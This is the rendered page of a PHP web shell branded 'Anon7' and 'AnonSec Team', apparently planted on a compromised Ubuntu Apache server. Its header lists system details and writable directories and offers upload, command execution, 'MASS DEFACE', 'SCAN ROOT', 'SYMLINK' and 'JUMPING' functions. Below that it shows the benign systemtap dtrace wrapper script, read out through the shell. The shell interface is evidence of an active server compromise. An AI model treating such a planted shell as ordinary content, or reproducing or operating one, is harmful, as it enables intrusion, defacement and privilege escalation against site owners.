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/  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/bin/X11/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/bin/X11/dtrace
#!/usr/bin/python
# vim: et sta sts=4 sw=4 ts=8

# This handles the systemtap equivalent of
# $(DTRACE) $(DTRACEFLAGS) -G -s $^ -o $@
# $(DTRACE) $(DTRACEFLAGS) -h -s $^ -o $@
# which is a step that builds DTrace provider and probe definitions

# Copyright (C) 2009, 2010, 2011 Red Hat Inc.
#
# This file is part of systemtap, and is free software.  You can
# redistribute it and/or modify it under the terms of the GNU General
# Public License (GPL); either version 2, or (at your option) any
# later version.

import os
import posix
import sys
import shlex
from subprocess import call
from tempfile import mkstemp

class _provider(object):
    def __init__(self):
        self.semaphores_def = "\n"

    # is the type a basic scalar type?
    def __basic_type(self, arg):
        basic_types = [ "int","int*","long","long*","short","short int",
                        "unsigned long","char","char*","float","double" ]
        split_arg = arg.rsplit(None,1)
        return (split_arg[0].strip() in basic_types) & (arg.find("[") == -1)

    def __typedef_append(self, typedefs, this_probe, arg, c, add_typedefs):
        if (add_typedefs):
            split_arg = arg.rsplit(None,1)
            if (self.__basic_type(arg)):
                return typedefs
            type_name = " %s_arg%d" % (this_probe.replace("__","_"),c)
            if (len(split_arg) > 1):
                typedefs += ("typedef " + arg.replace(" " + split_arg[1].split("[")[0].lstrip("*"),type_name).strip() + "; ")
                typedefs += (type_name + type_name + "_v;\n")
            else:
                typedefs += ("typedef " + arg.strip() + type_name + "; ")
                typedefs += (type_name + type_name + "_v;\n")
        return typedefs

    def __semaphore_def_append(self, this_probe):
        # NB: unsigned short is fixed in ABI
        self.semaphores_def += '#if defined STAP_SDT_V1\n'
        self.semaphores_def += '#define %s_%s_semaphore %s_semaphore\n' % \
            (self.provider,this_probe,this_probe)
        self.semaphores_def += '#endif\n'
        self.semaphores_def += '#if defined STAP_SDT_V1 || defined STAP_SDT_V2 \n'
        self.semaphores_def += "__extension__ unsigned short %s_%s_semaphore __attribute__ ((unused)) __attribute__ ((section (\".probes\")));\n" % \
            (self.provider,this_probe)
        self.semaphores_def += '#else\n'
        self.semaphores_def += "__extension__ unsigned short %s_%s_semaphore __attribute__ ((unused)) __attribute__ ((section (\".probes\"))) __attribute__ ((visibility (\"hidden\")));\n" % \
            (self.provider,this_probe)
        self.semaphores_def += '#endif\n'

    def semaphore_def_write(self, file):
        file.write(self.semaphores_def)

    def generate(self, provider, header, add_typedefs):
        have_provider = False
        self.f = open(provider)
        self.h = open(header,mode='w')
        self.h.write("/* Generated by the Systemtap dtrace wrapper */\n")
        self.h.write("\n#define _SDT_HAS_SEMAPHORES 1\n\n")
        self.h.write("\n#define STAP_HAS_SEMAPHORES 1 /* deprecated */\n\n")
        self.h.write("\n#include <sys/sdt.h>\n\n")
        in_comment = False
        typedefs = ""
        while (True):
            line = self.f.readline()
            if (line == ""):
                break
            if (line.find("/*") != -1):
                in_comment = True
            if (line.find("*/") != -1):
                in_comment = False
                continue
            if (in_comment):
                continue
            if (line.find("provider") != -1):
                tokens = line.split()
                have_provider = True
                self.provider = tokens[1]
            elif (not have_provider):
                if (add_typedefs):
                    self.h.write (line)
            elif (have_provider and line.find("probe ") != -1):
                while (line.find(")") < 0):
                    line += self.f.readline()
                this_probe = line[line.find("probe ")+5:line.find("(")].strip()
                this_probe_canon = self.provider.upper() + "_" + this_probe.replace("__","_").upper()
                args = (line[line.find("(")+1:line.find(")")])
                args_string = ""
                arg = ""
                i = 0
                c = 0
                self.__semaphore_def_append (this_probe)
                while (i < len(args)):
                    if (args[i:i+1] == ","):
                        args_string = ('%s %s,' %
                                       (args_string, arg.strip()))
                        c += 1
                        typedefs = self.__typedef_append (typedefs, this_probe,
                                                          arg, c, add_typedefs)
                        arg = ""
                    else:
                        arg = arg + args[i]
                    i += 1
                if (i != 0):
                    args_string = ('%s %s' % (args_string, arg.strip()))
                if (not args_string):
                    c = 0
                    stap_str = "DTRACE_PROBE(%s,%s" % \
                    (self.provider,this_probe)
                else:
                    c += 1
                    typedefs = self.__typedef_append (typedefs, this_probe,
                                                      arg, c, add_typedefs)
                    stap_str = "DTRACE_PROBE%d(%s,%s" % \
                        (c,self.provider,this_probe)
                define_str = "#define %s(" % (this_probe_canon)
                i = 1
                while (i <= c):
                    if (i != 1):
                        define_str += ","
                    define_str = define_str + "arg%s" % (i);
                    stap_str = stap_str + ",arg%s" % (i);
                    i += 1
                self.h.write('/* %s (%s) */\n' % \
                                  (this_probe_canon,args_string))
                self.h.write('#if defined STAP_SDT_V1\n')
                self.h.write('#define %s_ENABLED() __builtin_expect (%s_semaphore, 0)\n' % \
                                  (this_probe_canon,this_probe))
                self.h.write('#define %s_%s_semaphore %s_semaphore\n' % \
                                  (self.provider,this_probe,this_probe))
                self.h.write('#else\n')
                self.h.write('#define %s_ENABLED() __builtin_expect (%s_%s_semaphore, 0)\n' % \
                                  (this_probe_canon,self.provider,this_probe))
                self.h.write('#endif\n')
                # NB: unsigned short is fixed in ABI
                self.h.write("__extension__ extern unsigned short %s_%s_semaphore __attribute__ ((unused)) __attribute__ ((section (\".probes\")));\n" % \
                                  (self.provider,this_probe))
                self.h.write(define_str + ") \\\n")
                self.h.write(stap_str + ")\n\n")
            elif (line.find("}") != -1 and have_provider):
                have_provider = False
        if (add_typedefs):
            self.h.write(typedefs)
        self.h.close()


def usage ():
    print "Usage " + sys.argv[0] + " [--help] [-h | -G] [-C [-I<Path>]] -s File.d [-o <File>]"

def help ():
    usage()
    print "Where -h builds a systemtap header file from the .d file"
    print "      -C when used with -h, also run cpp preprocessor"
    print "      -o specifies an explicit output file name,"
    print "         the default for -G is file.o and -h is file.h"
    print "      -I when running cpp pass through this -I include Path"
    print "      -s specifies the name of the .d input file"
    print "      -G builds a stub file.o from file.d,"
    print "         which is required by some packages that use dtrace."
    sys.exit(1)


########################################################################
# main
########################################################################

def main():
    if (len(sys.argv) < 2):
        usage()
        return 1

    i = 1
    build_header = False
    build_source = False
    add_typedefs = False
    keep_temps = False
    use_cpp = False
    suffix = ""
    filename = ""
    s_filename = ""
    includes = []
    defines = []
    while (i < len(sys.argv)):
        if (sys.argv[i] == "-o"):
            i += 1
            filename = sys.argv[i]
        elif (sys.argv[i] == "-s"):
            i += 1
            s_filename = sys.argv[i]
        elif (sys.argv[i] == "-C"):
            use_cpp = True
        elif (sys.argv[i].startswith("-D")):
            defines.append(sys.argv[i])
        elif (sys.argv[i] == "-h"):
            build_header = True
            suffix = ".h"
        elif (sys.argv[i].startswith("-I")):
            includes.append(sys.argv[i])
        elif (sys.argv[i] == "-G"):
            build_source = True
            suffix = ".o"
        elif (sys.argv[i] == "-k"):
            keep_temps = True
        elif (sys.argv[i] == "--types"):
            add_typedefs = True
        elif (sys.argv[i] == "--help"):
            help()
        i += 1
    if (build_header == False and build_source == False):
        usage()
        return 1

    if (s_filename != "" and use_cpp):
        (d,fn) = mkstemp(suffix=".d")
        CPP = os.environ.get("CPP", "cpp")
        retcode = call(shlex.split(CPP) + includes + defines + [s_filename, fn])
        if (retcode != 0):
            print "\"cpp includes s_filename\" failed"
            usage()
            return 1
        s_filename = fn
    if (filename == ""):
        if (s_filename != ""):
            (filename,ext) = os.path.splitext(s_filename)
            filename = os.path.basename(filename)
        else:
            usage()
            return 1
    else:
        suffix = ""
    if (build_header):
        providers = _provider()
        providers.generate(s_filename, filename + suffix, add_typedefs)
    elif (build_source):
        (basename,ext) = os.path.splitext(s_filename)

        # create for semaphore_def_write
        providers = _provider()
        (d,fn) = mkstemp(suffix=".h")
        providers.generate(s_filename, fn, add_typedefs)
        if (not keep_temps):
            os.remove(fn)
        else:
            print "header: " + fn

        (d,fn) = mkstemp(suffix=".c")
        f = open(fn,mode='w')
        # dummy declaration just to make the object file non-empty
        f.write("static void __dtrace (void) __attribute__((unused));\n")
        f.write("static void __dtrace (void) {}\n")
        f.write("\n#include <sys/sdt.h>\n\n")
        providers.semaphore_def_write(f)
        f.close()
        CC = os.environ.get("CC", "gcc")
        CFLAGS = "-g " + os.environ.get("CFLAGS", "")
        retcode = call(shlex.split(CC) + defines + includes + shlex.split(CFLAGS) +
             ["-fPIC", "-I.", "-I/usr/include", "-c", fn, "-o",
              filename + suffix], shell=False)
        if (retcode != 0):
            print "\"gcc " + fn + "\" failed"
            usage()
            return 1
        if (not keep_temps):
            os.remove(fn)
        else:
            print "source: " + fn
        if (use_cpp):
            if (not keep_temps):
                os.remove(s_filename)
            else:
                print "cpp: " + s_filename
    return 0

if __name__ == "__main__":
    sys.exit(main())

Anon7 - 2022
AnonSec Team